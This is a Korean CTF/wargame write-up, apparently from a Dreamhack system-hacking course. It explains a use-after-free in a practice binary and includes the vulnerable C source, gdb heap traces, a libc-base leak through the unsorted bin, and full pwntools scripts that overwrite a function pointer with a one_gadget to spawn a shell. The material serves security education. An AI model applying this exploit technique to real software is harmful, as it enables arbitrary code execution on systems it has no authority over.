[Dreamhack] Exploit Tech: Use After Free

Sisyphus·2022년 7월 18일
0

Dreamhack - System Hacking

목록 보기
31/49

실습 코드

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

void print_name() { printf("Name: %s\n", robot->name); }

void menu() {
  printf("1. Human\n");
  printf("2. Robot\n");
  printf("3. Custom\n");
  printf("> ");
}

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));
  
  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);
  
  printf("Human Age: ");
  scanf("%ld", &human->age);
  
  free(human);
}

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));
  
  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);
  
  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;
    
  robot->fptr(robot);
  
  free(robot);
}

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }
  
  printf("Size: ");
  scanf("%d", &size);
  
  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);
    
    printf("Data: %s\n", custom[c_idx]);
    
    printf("Free idx: ");
    scanf("%d", &idx);
    
    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }
  
  c_idx++;
}

int main() {
  int idx;
  char *ptr;
  
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  
  while (1) {
    menu();
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}


분석 및 설계

보호 기법

$ checksec uaf_overwrite
[*] '/home/ion/dreamhack/Memory_Corruption_Use_After_Free/uaf_overwrite'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

모든 보호 기법이 적용되어 있습니다.

Full RELRO 보호 기법으로 인해 GOT Overwrite는 힘듭니다. 그래서 라이브러리에 존재하는 훅 또는 코드에서 사용하는 함수 포인터를 덮는 방법을 생각해 볼 수 있습니다.


코드 분석

1. HumanRobot이라는 크기가 같은 구조체가 있습니다.

2. human_func() 함수와 robot_func() 함수를 보면 메모리 영역 할당 후 초기화를 하지 않습니다.
Human 구조체와 Robot 구조체가 크기가 같기 때문에, 한 구조체를 해제하고 다른 구조체를 할당하면 해제된 구조체의 값을 사용할 수 있게 되어 UAF가 발생하게 됩니다.

3. robot_func() 함수는 Robot 변수의 fptrNULL이 아니면 이를 호출해주고 있기 때문에, UAF로 이 변수에 원하는 값을 남겨 놓을 수 있다면, 실행 흐름을 조작할 수 있습니다.

4. custom_func() 함수도 0x100 이상의 크기를 갖는 청크를 할당하고 해제하는데, 메모리 영역을 초기화 하지 않아서 UAF가 발생합니다.


익스플로잇 설계

Robot.fptr의 값을 one_gadget의 주소로 덮어서 쉘을 흭득해보겠습니다. 이를 위해 libc가 매핑된 주소를 구해야 합니다.

1. 라이브러리 릭

UAF를 이용해서 libc가 매핑된 주소를 구해야 하는데, 이를 위해 unsorted bin의 특징을 이용해 보겠습니다.

Unsorted bin에 처음 연결되는 청크는 libc의 특정 주소와 이중 원형 연결 리스트를 형성합니다. 그래서 처음 unsorted bin에 연결되는 청크의 fdbk는 libc 내부의 주소가 쓰입니다. 따라서 unsorted bin에 연결된 청크를 재할당하고, fdbk의 값을 읽으면 libc가 매핑된 주소를 계산할 수 있습니다.

custom_func 함수는 0x100 바이트 이상의 크기를 할당하고, 할당된 청크들 중 원하는 청크를 해제할 수 있는 함수입니다. 0x410 이하의 크기를 갖는 청크는 tcache에 먼저 삽입되므로, 이보다 큰 청크를 해제해서 unsorted bin에 연결하고, 이를 재할당하여 값을 읽으면 libc가 매핑된 주소를 계산할 수 있습니다.

여기서 주의할 점은 unsorted bin은 해제된 청크가 탑 청크와 맞닿아 있으면 병합되기 때문에, 청크 두개를 연속으로 할당하고, 처음 할당한 청크를 해제해야 합니다.

2. 함수 포인터 덮어쓰기

HumanRobot은 같은 크기의 구조체이므로, Human 구조체가 해제되고 Robot 구조체가 할당되면, RobotHuman이 사용했던 영역을 재사용하게 되어 UAF 취약점이 발생합니다.

Human 구조체의 ageRobot 구조체의 fptr과 위치가 같기 때문에, human_func()를 호출했을 때, ageone_gadget 주소를 입력하고, 이어서 robot_func()를 호출하면 fptr에 있는 one_gadget을 호출할 수 있습니다.



익스플로잇

라이브러리 릭

custom_func()를 이용하여 0x500 크기를 갖는 청크를 2개 할당하고, 해제한 뒤, 다시 할당하여 libc 내부의 주소를 구합니다. 그후 구해낸 주소를 이용하여 라이브러리 베이스를 구합니다.

라이브러리 베이스 주소를 구하는 과정을 자세히 봐보면

# leak.py

from pwn import *

p = process("./uaf_overwrite")

context.log_level='debug'
gdb.attach(p)

def slog(sym, val): success(sym + ": " + hex(val))

def human(weight, age):
    p.sendlineafter(">", "1")
    p.sendlineafter(": ", str(weight))
    p.sendlineafter(": ", str(age))
    
def robot(weight):
    p.sendlineafter(">", "2")
    p.sendlineafter(": ", str(weight))
    
def custom(size, data, idx):
    p.sendlineafter(">", "3")
    p.sendlineafter(": ", str(size))
    p.sendafter(": ", data)
    p.sendlineafter(": ", str(idx))
    
# UAF to calculate the `libc_base`
pause()
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", 0)
custom(0x500, "B", -1)

p.interactive()
$ python3 leak.py
 [+] Starting local process './uaf_overwrite': pid 9608
[*] running in new terminal: ['/usr/bin/gdb', '-q', './uaf_overwrite', '9608']
[DEBUG] Created script for new terminal:
    #!/usr/bin/python3
    import os
    os.execve('/usr/bin/gdb', ['/usr/bin/gdb', '-q', './uaf_overwrite', '9608'], os.environ)
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/tmp/tmpu4bislch']
[+] Waiting for debugger: Done
[*] Paused (press any to continue)

# 디버깅 창

(gdb) source ~/gef/gef.py
gef➤  disas main
				.
                .
   0x000055dae0318d15 <+164>:	call   0x55dae0318aae <custom_func>
   				.
                .
gef➤  b * main+164
gef➤  c

# 터미널

 ubuntu  ~/dreamhack/Exploit_Tech_Use_After_Free  python3 leak.py 2> /dev/null
[+] Starting local process './uaf_overwrite': pid 9608
[*] running in new terminal: ['/usr/bin/gdb', '-q', './uaf_overwrite', '9608']
[DEBUG] Created script for new terminal:
    #!/usr/bin/python3
    import os
    os.execve('/usr/bin/gdb', ['/usr/bin/gdb', '-q', './uaf_overwrite', '9608'], os.environ)
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/tmp/tmpu4bislch']
[+] Waiting for debugger: Done
[*] Paused (press any to continue)
[DEBUG] Received 0x1e bytes:
    b'1. Human\n'
    b'2. Robot\n'
    b'3. Custom\n'
    b'> '
[DEBUG] Sent 0x2 bytes:
    b'3\n'

# 디버깅 창

gef➤  c
gef➤  heap chunks
Chunk(addr=0x561978710010, size=0x250, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
    [0x0000561978710010     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x561978710260, size=0x510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
    [0x0000561978710260     41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00    AAAA............]
Chunk(addr=0x561978710770, size=0x208a0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)top chunk

gef➤  c
gef➤  heap chunks
Chunk(addr=0x561978710010, size=0x250, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
    [0x0000561978710010     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x561978710260, size=0x510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
    [0x0000561978710260     41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00    AAAA............]
Chunk(addr=0x561978710770, size=0x510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
    [0x0000561978710770     41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00    AAAA............]
Chunk(addr=0x561978710c80, size=0x20390, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)top chunk
gef➤  c
gef➤  heap chunks
Chunk(addr=0x561978710010, size=0x250, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
    [0x0000561978710010     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x561978710260, size=0x510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
    [0x0000561978710260     a0 6c 22 a4 5f 7f 00 00 a0 6c 22 a4 5f 7f 00 00    .l"._....l"._...]
Chunk(addr=0x561978710770, size=0x510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
    [0x0000561978710770     41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00    AAAA............]
Chunk(addr=0x561978710c80, size=0x510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
    [0x0000561978710c80     41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00    AAAA............]
Chunk(addr=0x561978711190, size=0x1fe80, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)top chunk
# 터미널

python3 leak.py 2> /dev/null
[+] Starting local process './uaf_overwrite': pid 10032
[*] running in new terminal: ['/usr/bin/gdb', '-q', './uaf_overwrite', '10032']
[DEBUG] Created script for new terminal:
    #!/usr/bin/python3
    import os
    os.execve('/usr/bin/gdb', ['/usr/bin/gdb', '-q', './uaf_overwrite', '10032'], os.environ)
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/tmp/tmpo7_94_bb']
[+] Waiting for debugger: Done
[*] Paused (press any to continue)
[DEBUG] Received 0x1e bytes:
.
.
.
[*] Switching to interactive mode
Bl"\xa4_\x7f
Free idx: [DEBUG] Received 0x1e bytes:
    b'1. Human\n'
    b'2. Robot\n'
    b'3. Custom\n'
    b'> '
1. Human
2. Robot
3. Custom
> $ 3
gef➤  c
gef➤  heap chunks
Chunk(addr=0x561978710010, size=0x250, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
    [0x0000561978710010     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x561978710260, size=0x510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
    [0x0000561978710260     42 6c 22 a4 5f 7f 00 00 a0 6c 22 a4 5f 7f 00 00    Bl"._....l"._...]
Chunk(addr=0x561978710770, size=0x510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
    [0x0000561978710770     41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00    AAAA............]
Chunk(addr=0x561978710c80, size=0x510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
    [0x0000561978710c80     41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00    AAAA............]
Chunk(addr=0x561978711190, size=0x1fe80, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)top chunk

gef➤  x/4gx 0x561978710260
0x561978710260:	0x00007f5fa4226c42	0x00007f5fa4226ca0
0x561978710270:	0x0000000000000000	0x0000000000000000
gef➤  x/i 0x00007f5fa4226ca0
   0x7f5fa4226ca0 <main_arena+96>:	adc    BYTE PTR [rcx],0x71

fd : 0x00007f5fa4226c42
bk : 0x00007f5fa4226ca0

bkmain_arena+96

libc base = main_arena+96 - main_arena_offset - 96


$ ldd uaf_overwrite
	linux-vdso.so.1 (0x00007ffcb81ee000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb8607a3000)
	/lib64/ld-linux-x86-64.so.2 (0x00007fb860d97000)

$ ./main_arena /lib/x86_64-linux-gnu/libc.so.6
[+]libc version : glibc 2.27
[+]build ID : BuildID[sha1]=f7307432a8b162377e77a182b6cc2e53d771ec4b
[+]main_arena_offset : 0x3ebc40

main_arena_offset : 0x3ebc40

libc base = 0x00007f5fa4226ca0 - 0x3ebc40 - 96 = 0x7f5fa3e3b000


위에처럼 bk의 값을 가지고 libc base를 구할 수 있습니다. 하지만 릭되는 값은 bk가 아닌 fd이기 때문에, fdlibc base를 구할 수 있는 방법을 생각해봐야 합니다.

fdbk를 비교해보면 입력으로 B가 들어온 후 끝에 한 바이트만 a0에서 42 (B)로 변경되었습니다.

libc base는 끝에 1바이트가 00이 되기 때문에 main_arena_offset-96 대신 main_arena_offset의 끝에 1바이트를 입력으로 들어온 문자의 아스키코드로 대체하면 libc base를 릭할 수 있습니다.


그래서 libc base를 leak 하는 코드는

lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42

0x3ebc00 + 0x42 = 0x3ebc42bk에서 빼는 코드가 됩니다.


from pwn import *

p = process("./uaf_overwrite")

def slog(sym, val): success(sym + ": " + hex(val))

def human(weight, age):
    p.sendlineafter(">", "1")
    p.sendlineafter(": ", str(weight))
    p.sendlineafter(": ", str(age))
    
def robot(weight):
    p.sendlineafter(">", "2")
    p.sendlineafter(": ", str(weight))
    
def custom(size, data, idx):
    p.sendlineafter(">", "3")
    p.sendlineafter(": ", str(size))
    p.sendafter(": ", data)
    p.sendlineafter(": ", str(idx))
    
# UAF to calculate the `libc_base`
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", 0)
custom(0x500, "B", -1) # data 값이 "B"가 아니라 "C"가 된다면, offset은 0x3ebc42 가 아니라 0x3ebc43이 됩니다.

lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = lb + 0x10a2fc

slog("libc_base", lb)
slog("one_gadget", og)
$ python3 exploit.py
[+] Starting local process './uaf_overwrite': pid 580
[+] libc_base: 0x7fd33629b000
[+] one_gadget: 0x7fd3363a541c
[*] Stopped process './uaf_overwrite' (pid 580)

함수 포인터 덮어쓰기

human->agerobot->fptr이 구조체 상에서 같은 위치에 있기 때문에 UAF 취약점으로 robot->fptr의 값을 원하는 값으로 조작할 수 있습니다.

human->ageone_gadget의 주소를 입력하고, 해제한 뒤, robot_func를 호출하면 쉘을 획득할 수 있습니다.

from pwn import *

p = process("./uaf_overwrite")

def slog(sym, val): success(sym + ": " + hex(val))

def human(weight, age):
    p.sendlineafter(">", "1")
    p.sendlineafter(": ", str(weight))
    p.sendlineafter(": ", str(age))

def robot(weight):
    p.sendlineafter(">", "2")
    p.sendlineafter(": ", str(weight))

def custom(size, data, idx):
    p.sendlineafter(">", "3")
    p.sendlineafter(": ", str(size))
    p.sendafter(": ", data)
    p.sendlineafter(": ", str(idx))

# UAF to calculate the `libc_base`
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", 0)
custom(0x500, "B", -1)

lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = lb + 0x10a2fc

slog("libc_base", lb)
slog("one_gadget", og)

# UAF to manipulate `robot->fptr` & get shell
human("1", og)
robot("1")

p.interactive()
$ python3 exploit.py      
[+] Starting local process './uaf_overwrite': pid 10415
[+] libc_base: 0x7f35ed8ac000
[+] one_gadget: 0x7f35ed9b62fc
[*] Switching to interactive mode
$ 


Exploit Tech: Use After Free

0개의 댓글